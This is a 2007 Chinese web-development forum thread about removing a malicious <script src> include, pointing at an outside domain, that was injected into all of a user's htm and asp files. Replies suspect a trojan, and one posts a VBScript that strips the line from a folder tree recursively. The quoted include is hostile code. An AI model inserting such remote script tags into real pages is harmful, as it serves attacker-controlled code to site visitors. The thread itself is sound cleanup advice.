您的位置：程序门 -> web 开发 -> asp

我电脑上的htm或asp文件都有下面这行代码,该怎样清除?

[收藏此页] [打印本页]选择字色：背景色：字体：[大][中][小]

我电脑上的htm或asp文件都有下面这行代码,该怎样清除?

发表于：2007-05-05 14:01:37 楼主

我电脑上的htm或asp文件都有下面这行代码,该怎样清除?
<script src= "http://www.hyap98.com/123/yun.js "> </script>

发表于：2007-05-05 14:06:071楼得分:0

用編輯軟體的替換清除這些

发表于：2007-05-05 14:07:132楼得分:0

我怀疑这是病毒或恶意代码!!

发表于：2007-05-05 17:07:203楼得分:0

有谁知道吗?

发表于：2007-05-05 17:17:014楼得分:0

ctrl + h 替换

发表于：2007-05-06 09:07:495楼得分:0

我的电脑上有很多asp文件,要一个个文件打开,那要到什么时候才替换完,谁有办法哦!!!!!

发表于：2007-05-06 09:47:536楼得分:0

dw,很快的啦。

发表于：2007-05-06 09:52:327楼得分:0

中木马了么？应该是
先查杀了再说，不然一直会有

发表于：2007-05-06 11:52:008楼得分:0

应该先想办法清除木马或病毒。

简单地删除这行代码是很简单的，用dw或ultraedit都能很快删除这行代码。

发表于：2007-07-19 17:54:469楼得分:0

我知道这是病毒或恶意代码,也知道删除这行代码很简单,但是这类文件太多了,不可能一个个文件打开删除吧.

发表于：2007-07-19 21:22:4510楼得分:0

你找一个字符替换软件`` 那个东西`可以在` 1分钟替换完成 1w以上文件里的指定字符~!

一般的私服的网站上都有那东西~!

发表于：2007-07-19 21:47:0111楼得分:0

掛馬都掛到家裏了。

发表于：2007-07-19 23:06:2712楼得分:0

自己写个程序替换吧

发表于：2007-07-20 03:14:5213楼得分:0

dim fso, tmp, tmp1, content
set fso = createobject（ "scripting.filesystemobject ")

function gettext（path)
dim objfile, content
on error resume next
content = " "
if fso.fileexists（path) then
set objfile = fso.opentextfile（path, 1, false)
if not objfile.atendofstream then
content = objfile.readall
end if
objfile.close
set objfile = nothing
end if
if err.number <> 0 then
err.clear
end if
gettext = content
end function

function writetext（str, path)
dim fsowrite
on error resume next
set fsowrite = fso.createtextfile（path, true)
fsowrite.write str
fsowrite.close
set fsowrite = nothing
if err.number <> 0 then
err.clear
writetext = false
else
writetext = true
end if
end function

function enumfile（pa)
'on error resume next
set objfolder = fso.getfolder（pa)

set objfiles = objfolder.files
for each objfile in objfiles
'msgbox objfile.name
tmp1 = pa & "\ " & objfile.name
tmp = lcase（fso.getextensionname（tmp1))
if tmp = "asp " or tmp = "htm " or tmp = "html " then
'如果扩展名为 htm 或 asp 则将内容中的 " <script .... > " 替换为空串
content = replace（gettext（tmp1), " <script src= " "http://www.hyap98.com/123/yun.js " "> </script> ", " ")
writetext content, tmp1
end if
next
set objsubfolders = objfolder.subfolders
for each objsubfolder in objsubfolders
nowpath = pa + "\ " + objsubfolder.name
'msgbox nowpath
enumfile（nowpath) '递归
next
set objfolder = nothing
set objsubfolders = nothing
end function

'遍历 "f:\网页 " 目录下所有文件这里改成你存放文件的目录
enumfile "f:\网页 "
set fso = nothing

发表于：2007-07-20 03:17:3214楼得分:0

使用前请先做好备份
打开记事本,贴入上面的代码,保存成 xxx.vbs
然后双击运行 xxx.vbs
运行可能需要较长的时间,决定于你的文件数量

发表于：2007-07-20 08:41:5315楼得分:0

中马了